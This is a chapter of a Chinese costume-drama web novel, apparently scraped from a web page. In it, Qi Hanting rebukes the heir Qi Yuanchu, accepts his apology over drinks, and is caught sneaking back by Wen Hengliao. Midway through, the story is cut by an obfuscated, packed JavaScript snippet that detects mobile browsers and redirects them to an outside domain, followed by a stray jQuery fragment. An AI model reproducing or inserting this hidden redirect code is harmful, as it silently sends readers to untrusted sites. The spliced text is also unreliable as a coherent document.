“你现在站着说话不腰疼,是因为你是王爷家的世子,你受万人追捧,即便你做错了什么也有王爷替你撑腰。若她们也拥有你的身份,未必不会比你更有出息,更有抱负。
你只看的到她们争风吃醋,却看不到她们囚于一隅之地依附他人过活。今日说爱你,你便是心尖尖上的宝贝,明日不爱你了,连你的姓氏都是错的。
若是你也同处她们的境地,做什么都受着限制,无论是父母,还是家族,每个都逼迫着你一生只可围着夫婿与子嗣,你又是何感想?你可还能说出这般只在你角度所谓的大道理?”
亓元初不知是羞赧还是怒赪,此刻面色涨红。戚寒汀话刚说出口其实就后悔了,只是硬着头皮说完,此刻她只想赶紧走,别让他反应过来想办法了结了自己,细想亓思欢这话倒没说错,她确实爱惩口舌之快,脑子还没反应过来,话已经说出口了。
戚寒汀本想趁着这傻蛋还没完全反应过来赶紧撤,谁想刚迈两步就直直的撞上温珩漻,也不知他在这里听了多久。此刻她像个鹌鹑一样,低着头从温珩漻身旁疾步走过,温珩漻倒也没有拦她。
戚寒汀回到院中小心谨慎地环视一圈,随后迅速关上房门,然后背靠着门长出一口气,一副心惊胆战的模样。
徐氏见她脸色不对,连忙问道:“出什么事了?”
戚寒汀苦笑一声,“姑姑,我摊上大事了。我当众驳了亓元初,还将心中暗骂说了出来,他不能报复我吧,而且温珩漻应当也是听见了,要不我们现在收拾东西跑吧,或者你觉得温珩漻能公正一些吗?能不能看在我娘的面子上保我一命?”
徐式皱着眉,“殿下先别慌张,若温大人与世子站在一处,刚才也不会让你平安回来了,所以,再等等,莫要自乱阵脚。”
戚寒汀心里一个劲的打鼓,努力镇定下来。“今日晚间的课我就不去了,姑,他们要是过来了,你就说我...说我突然卧床不起,不知多久才能好,我得避避风头,等过两日他气消了,我再去。”
那边。
亓元初气得跺脚,“温先生你看见了吧,她居然敢这么说我,当众便让我颜面尽失,谁敢?谁敢!当真是胆大包天,我定让父王好好惩治她!”
温珩漻不急不慢,跪坐在戚寒汀的位置上,“殿下所说不错。”
亓元初一下子愣住了,“什么?什么不错?”
温珩漻看向亓元初,“世子此举,难道不是在以权势压人?世子已是站在高端之人,自然不知晓普通人如何过活,世子犯了过错自有王爷承担,普通人又有何依仗?难不成也叫喊着让谁去惩治谁?
再来说说苏家夫人,本是男子背弃誓言,妾室冲撞她,她所做之事,在臣看来并无不妥;她选择自缢,护己人格,不容他人践踏,同时也是全了孝道,不愿连累家族,何错之有?”
亓元初那点火气似乎一瞬间就被扑灭了,温珩漻平和的解释一通,让他只觉得羞愧难当,毕恭毕敬的向两位先生行了礼,也灰溜溜的回了自己院子。
琴艺先生摇摇头,不免失笑,“殿下心直口快,仗义执言;这小世子虽肆行无忌,却也肯听温大人一番劝告,倒也是有意思。”
温珩漻也轻笑一声,“的确。”
天色渐暗,徐氏随账房姑姑们去置办货物,戚寒汀还在房间里装死,便听到一阵敲门声,戚寒汀以为是徐氏回来了,便起身去开门,刚打开门,便看见亓元初一张黑脸,立马就要把门关上,谁知亓元初手脚并用的拦着门,”等一下!别关了我说,我不是来报复你的!“
戚寒汀半信半疑,“你不在自己院中好好待着,来我房间作甚?一副要杀人的模样,还说不是来寻仇?”
亓元初没好气的哼了一声,“你惯会以小人之心度君子之腹,此番我来,是...是为了...”
亓元初支支吾吾不肯再说一个字,戚寒汀也没了耐心,伸手就要关门。
亓元初看她又想赶他走,连忙开口,“来赔罪!”
亓元初可算是把这句话说出口了,此刻他竟觉得心里舒服许多。
戚寒汀看了他许久,似乎是在想这话的可信度。
亓元初见她无甚反应,又被她这样盯着,难免有些不好意思,“哎呀,就是你去不去喝酒?就当是我给你赔礼道歉了,以后我也不会再找你茬了。”
戚寒汀凑过去,“真的?”
亓元初看她脸凑过来了,吓了一跳,说话都有些结巴“当、当然,你去不去?不去算了。”
说完就要走,戚寒汀立马一个跨步绕到他面前,嬉皮笑脸的,“去,为何不去,小世子给我赔罪,那我可得好好受着。”
亓元初撇她一眼,切了一声。
他二人趁着间隙翻墙出来的,别说,学了点功夫好处真是不少,不光能傍身,翻墙都比常人利索。
这还是戚寒汀这么久以来第一次出府,上次只在马车上用眼睛去看,却没有切实的站在街道上去感受,所以看到什么都觉得新鲜,街道上灯火通明人来人往,小贩们吆喝着,酒肆茶馆到了夜晚也不停歇,人情味和烟火气扑面而来。
“瞧你那没见识的样子,这有什么的,等本世子回头多带你四处看看,你就不觉得这有什么可稀奇的了。”
戚寒汀乐在其中,“各有各的好,哪来的比较?何况我们可是偷偷溜出来的,能看到此等景象我已经很知足了。”
亓元初撇撇嘴,“没多少见识,大道理倒是一套一套的。”
戚寒汀不忘狗腿,“不过还是要多谢你带我出来,从前我待在冷宫,不过是井底之蛙,看到的也只是宫墙;后来进了温府,虽自由许多,却也还没机会出来亲自看这人间,只凭着书本是如何也想不出来的。”
亓元初这才得意起来,“那当然了,也不看本世子是谁!”
亓元初拉着戚寒汀的胳膊,“到了到了,就是这里!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503093|186049||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
戚寒汀抬眼望去,这酒楼左侧立牌:酒楼天下多,菜酒独称佳。右侧:食客世间众,味情唯此夸。
倒是十分张扬,她喜欢。
楼内几乎是坐满了人,熙熙攘攘,光是上菜倒酒的便数不胜数,人们交杯换盏,热闹非凡。
“世子殿下大驾光临,让小的带您去包间上等座!快快快,都忙活起来,世子殿下常点的几道菜,还要最好的酒,都抓紧点!”
掌柜的和店小二立马将二人簇拥起来,一边招呼一边弯着腰恭迎他二人上楼。
越往上走,越显得安静,不似大堂般喧声绕梁,每个包间都有固定的客人,谁也不知道是何身份。
店小二为戚寒汀介绍一道道菜,戚寒汀不免感叹,怪不得亓元初说她没见识,这些菜的繁琐过程她怎么也料不到,光这道夏荷乌鸡丸就要二十多道工序,一个地方出了差错便要从头重新来过。味道的确鲜美异常,细品还有荷花清香。
两人也碰杯喝着酒,只是亓元初怎么也没想到戚寒汀一个从未喝过酒的人竟有如此海量,他本想着好好展示一下,然后第二天好嘲讽她区区几杯便醉倒了,结果没把人灌醉,自己倒是喝懵了,就连舌头都说不利索话了。
戚寒汀十分无奈,本想着趁着夜色,出来放松一下未尝不可,然后他俩再偷偷溜回去,这下糟了,她拖着个醉鬼还如何翻墙?难不成还光明正大的从府门进去,这跟当众告诉温珩漻我俩翻墙出去喝酒了有什么区别?
眼下她也没有什么更好的办法,只好拽着亓元初一只胳膊,将他的胳膊架在她的肩上,然后往回走,庆幸她是认识路的,否则岂不是要彻夜不归?这还了得?
越靠近温府,戚寒汀越心虚,也不知是否是她的错觉,只觉今日府中格外安静,自她来到温府,府中从未如此黑漆漆一片,看着还有些阴森瘆人。
“唔...喝,你先喝,我干了!唔...”
这醉鬼还不知死活的叫嚷开了,吓得戚寒汀连忙捂住他的嘴,又怕他还突然出声害了他们,干脆一掌拍晕,只是显得他身体更沉了。
绕了温府半圈,让戚寒汀竟意外的找到个小门,她先将亓元初拖了进去,自己又翻墙而入,正庆幸的拍拍手里的灰准备将人架起来,就被一群奴仆围了起来,各个手里拎着个灯。
戚寒汀暗道不妙,果然温珩漻站在不远处,看上去应该是看到了她溜进来的整个过程。
戚寒汀认命的闭了闭眼,走过去恭敬行礼,“温先生。”
温珩漻今日显得格外冷漠,半天也未让她起身。
戚寒汀知道这下闯祸了,只能乖乖认罚。“学生知错,求先生责罚。”
温珩漻这才开口,却不是对她说的。“将世子殿下送回他院中。”
戚寒汀抬了抬头,与温珩漻对视那一瞬间又低下头了。“殿下随臣来。”
温珩漻在前面走,戚寒汀便不近不远的跟着。